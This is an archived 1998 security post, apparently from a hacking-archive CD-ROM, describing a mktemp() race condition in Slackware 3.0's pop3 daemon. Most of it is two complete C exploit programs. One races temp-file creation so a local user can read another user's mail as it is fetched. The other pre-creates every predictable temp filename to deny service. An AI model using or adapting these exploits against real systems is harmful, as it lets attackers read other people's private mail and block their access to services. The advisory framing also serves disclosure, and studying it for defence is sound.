home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / pop3dExploit.txt < prev    next >
Text File  |  1998-07-17  |  4KB  |  155 lines

  1.    As explained before in the mailx security post, there is a problem with
  2. usage of mktemp() in many programs.  This is a follow-up to that, demonstrating
  3. the generic denial of service attack and a race condition attack on linux's
  4. Slackware 3.0 pop3 mail daemon.  Refer to the original mailx post for 
  5. information on the security concerns with the use of mktemp().
  6.    Linux's /usr/sbin/in.pop3d contains a mktemp() race condition, exploitable
  7. when pop client connects to the machine at the point a correct password for
  8. a user is entered.  This allows you to read the contents of the mail spool of
  9. a user when they connect with a pop client.
  10.  
  11.                    Program: pop3d (/usr/sbin/in.pop3d)
  12. Affected Operating Systems: linux - Slackware 3.0 with pop3d enabled
  13.               Requirements: account on system, target user uses pop client
  14.            Temporary Patch: disable pop3d 
  15.        Security Compromise: any user with an account can read mail of a user
  16.                             using a pop client to read mail.
  17.                     Author: Dave M. (davem@cmu.edu)
  18.                   Synopsis: The predictability of mktemp() is exploited to
  19.                             create the temporary files after the filenames
  20.                             have been determined but before they are actually
  21.                             created, allowing the mail being dumped to those
  22.                             temporary files to be read by the creator of the
  23.                             files.
  24.  
  25. pop3d-exploit.c:
  26. /* This program creates temporary files used by in.pop3d (/usr/sbin/in.pop3d 
  27.    under Slackware 3.0), which can then be read by the program. 
  28.    This race condition is NOT always successful, it may take extreme conditions
  29.    to ensure a high probability of success.
  30.  
  31.    Dave M. (davem@cmu.edu)
  32.  */
  33.  
  34. #include <stdio.h>
  35. #include <sys/stat.h>
  36. #include <sys/types.h>
  37. #include <fcntl.h>
  38.  
  39. main(int argc, char **argv)
  40. {
  41.   int race;
  42.   int i;
  43.   char fname[80], tmpf[80];    /* hold filename */
  44.   
  45.   umask(0);
  46.   
  47.   if(argc<1)
  48.     {
  49.       printf("pop3 racer\nSyntax: %s process-id\n",argv[0]);
  50.       return -1;
  51.     }
  52.   
  53.   /* create tmp file to race creating */
  54.   strcpy(tmpf,"/tmp/pop3");
  55.   for(i=strlen(argv[1]);i<6;i++) 
  56.     strcat(tmpf,"0");
  57.   strcat(tmpf,argv[1]);
  58.   tmpf[9] = 'a';
  59.     
  60.   race = creat(tmpf,S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  61.  
  62.   while(1)  
  63.     {
  64.       rename(tmpf,"/tmp/pop.exploit");
  65.       if(rename("/tmp/pop.exploit",tmpf) < 0)
  66.     {
  67.       printf("race lost - file created.\n"); /* catch 1/2 the losses */
  68.       break;
  69.     }
  70.     }
  71. }
  72.  
  73.                    Program: Any with termination on mktemp() failure
  74. Affected Operating Systems: Any with predictable mktemp() return values
  75.               Requirements: write access to directory temp files written to
  76.        Security Compromise: denial of service
  77.                     Author: Dave M. (davem@cmu.edu)
  78.                   Synopsis: Many operating systems have an extremely limited
  79.                             temporary file creation algorithm, which results
  80.                             in denial of service attacks on any program that
  81.                             uses them exceedingly easy.
  82.  
  83.  
  84. deny-mktemp.c:
  85. /* This programs opens the complete set of temporary files tested with mktemp()
  86.    for a given template (with 6 X's), usually resulting in the program
  87.    terminating upon failure to find an open file.  In pop3d, this prevents a
  88.    pop client from reading their mail.
  89.  
  90.    Dave M. (davem@cmu.edu)
  91. */
  92.  
  93. #include <unistd.h>
  94. #include <stdio.h>
  95. #include <sys/types.h>
  96. #include <sys/stat.h>
  97. #include <fcntl.h>
  98.  
  99. /* template found in program's header file, minus X's */
  100. #define TEMPLATE "/tmp/pop3"
  101.  
  102. main(int argc, char **argv)
  103. {
  104.  long int i,j;
  105.  char fname[20];
  106.   
  107.  if(argc<2)
  108.    {
  109.      printf("Syntax: %s process-id\n");
  110.      return -1;
  111.    }
  112.  
  113.   j = strlen(TEMPLATE);
  114.  
  115.   strcpy(fname,TEMPLATE);
  116.   for(i=strlen(argv[1]);i<6;i++) 
  117.     strcat(fname,"0");
  118.   strcat(fname,argv[1]);
  119.  
  120.  for(i=0;i<26;i++)
  121.    {
  122.      fname[j] = 'a' + i;
  123.      creat(fname,O_WRONLY | O_CREAT); 
  124.    }
  125.  
  126.  for(i=0;i<26;i++)
  127.    {
  128.      fname[j] = 'A' + i;
  129.      creat(fname,O_WRONLY | O_CREAT);
  130.    }
  131.  
  132.  for(i=0;i<9;i++)
  133.    {
  134.      fname[j] = '0' + i;
  135.      creat(fname,O_WRONLY | O_CREAT);
  136.    }
  137.  
  138. }
  139.  
  140.  
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.        /-------------\
  148.        |David Meltzer| 
  149.        |davem@cmu.edu|    
  150.  /--------------------------\
  151.  |School of Computer Science|
  152.  |Carnegie Mellon University|
  153.  \--------------------------/
  154.  
  155.